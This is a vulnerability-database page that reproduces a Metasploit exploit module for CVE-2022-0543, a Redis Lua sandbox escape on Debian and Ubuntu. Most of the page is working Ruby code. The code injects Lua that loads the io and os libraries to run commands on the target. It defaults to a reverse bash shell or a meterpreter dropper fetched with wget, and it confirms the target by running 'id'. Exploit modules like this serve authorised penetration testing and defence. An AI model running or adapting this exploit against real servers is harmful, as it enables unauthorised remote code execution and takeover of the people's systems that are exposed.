Lucene search
K

Redis Lua Sandbox Escape

🗓️ 27 Apr 2022 00:00:00Reported by Reginaldo Silva, jbaines-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 886 Views

Redis Lua Sandbox Escape CVE-2022-0543 Debian Ubunt

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::CmdStager  
include Msf::Auxiliary::Redis  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Redis Lua Sandbox Escape',  
'Description' => %q{  
This module exploits CVE-2022-0543, a Lua-based Redis sandbox escape. The  
vulnerability was introduced by Debian and Ubuntu Redis packages that  
insufficiently sanitized the Lua environment. The maintainers failed to  
disable the package interface, allowing attackers to load arbitrary libraries.  
  
On a typical `redis` deployment (not docker), this module achieves execution  
as the `redis` user. Debian/Ubuntu packages run Redis using systemd with the  
"MemoryDenyWriteExecute" permission, which limits some of what an attacker can  
do. For example, staged meterpreter will fail when attempting to use mprotect.  
As such, stageless meterpreter is the preferred payload.  
  
Redis can be configured with authentication or not. This module will work with  
either configuration (provided you provide the correct authentication details).  
This vulnerability could theoretically be exploited across a few architectures:  
i386, arm, ppc, etc. However, the module only supports x86_64, which is likely  
to be the most popular version.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Reginaldo Silva', # Vulnerability discovery and PoC  
'jbaines-r7' # Metasploit module  
],  
'References' => [  
[ 'CVE', '2022-0543' ],  
[ 'URL', 'https://www.lua.org/pil/8.2.html'],  
[ 'URL', 'https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce' ],  
[ 'URL', 'https://www.debian.org/security/2022/dsa-5081' ],  
[ 'URL', 'https://ubuntu.com/security/CVE-2022-0543' ]  
],  
'DisclosureDate' => '2022-02-18',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'Payload' => {  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget'],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'MeterpreterTryToFork' => true,  
'RPORT' => 6379  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('LUA_LIB', [true, 'LUA library path', '/usr/lib/x86_64-linux-gnu/liblua5.1.so.0']),  
OptString.new('PASSWORD', [false, 'Redis AUTH password', 'mypassword'])  
])  
end  
  
# See https://github.com/rapid7/metasploit-framework/pull/13143  
def has_check?  
true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis  
end  
  
# Use popen to execute the desired command and read back the output. This  
# is how the original PoC did it.  
def do_popen(cmd)  
exploit = "eval '" \  
"local io_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_io\"); " \  
'local io = io_l(); ' \  
"local f = io.popen(\"#{cmd}\", \"r\"); " \  
'local res = f:read("*a"); ' \  
'f:close(); ' \  
"return res' 0" \  
"\n"  
sock.put(exploit)  
sock.get(read_timeout)  
end  
  
# Use os.execute to execute the desired command. This doesn't return any output, and likely  
# isn't meaningfully more useful than do_open but I wanted to demonstrate other execution  
# possibility not demonstrated by the original poc.  
def do_os_exec(cmd)  
exploit = "eval '" \  
"local os_l = package.loadlib(\"#{datastore['LUA_LIB']}\", \"luaopen_os\"); " \  
'local os = os_l(); ' \  
"local f = os.execute(\"#{cmd}\"); " \  
"' 0" \  
"\n"  
  
sock.put(exploit)  
sock.get(read_timeout)  
end  
  
def check  
connect  
  
# Before we get crazy sending exploits over the wire, let's just check if this could  
# plausiably be a vulnerable version. Using INFO we can check for:  
#  
# 1. 4 < Version < 6.1  
# 2. OS contains Linux  
# 3. redis_git_sha1:00000000  
#  
# We could probably fingerprint the build_id as well, but I'm worried I'll overlook at  
# package somewhere and it's nice to get final verification via exploitation anyway.  
info_output = redis_command('INFO')  
return Exploit::CheckCode::Unknown('Failed authentication.') if info_output.nil?  
return Exploit::CheckCode::Safe('Unaffected operating system') unless info_output.include? 'os:Linux'  
return Exploit::CheckCode::Safe('Invalid git sha1') unless info_output.include? 'redis_git_sha1:00000000'  
  
redis_version = info_output[/redis_version:(?<redis_version>\S+)/, :redis_version]  
return Exploit::CheckCode::Safe('Could not extract a version number') if redis_version.nil?  
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) < Rex::Version.new('5.0.0')  
return Exploit::CheckCode::Safe("The reported version is unaffected: #{redis_version}") if Rex::Version.new(redis_version) >= Rex::Version.new('6.1.0')  
return Exploit::CheckCode::Unknown('Unsupported architecture') unless info_output.include? 'x86_64'  
  
# okay, looks like a worthy candidate. Attempt exploitation.  
result = do_popen('id')  
return Exploit::CheckCode::Vulnerable("Successfully executed the 'id' command.") unless result.nil? || result[/uid=.+ gid=.+ groups=.+/].nil?  
  
Exploit::CheckCode::Safe("Could not execute 'id' on the remote target.")  
ensure  
disconnect  
end  
  
def execute_command(cmd, _opts = {})  
connect  
  
# force the redis mixin to handle auth for us  
info_output = redis_command('INFO')  
fail_with(Failure::NoAccess, 'The server did not respond') if info_output.nil?  
  
# escape any single quotes  
cmd = cmd.gsub("'", "\\\\'")  
  
# On success, there is no meaningful response. I think this is okay because we already have  
# solid proof of execution in check.  
resp = do_os_exec(cmd)  
fail_with(Failure::UnexpectedReply, "The server did not respond as expected: #{resp}") unless resp.nil? || resp.include?('$-1')  
print_good('Exploit complete!')  
ensure  
disconnect  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
execute_cmdstager  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Apr 2022 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 3.110
CVSS 210
EPSS0.94398
886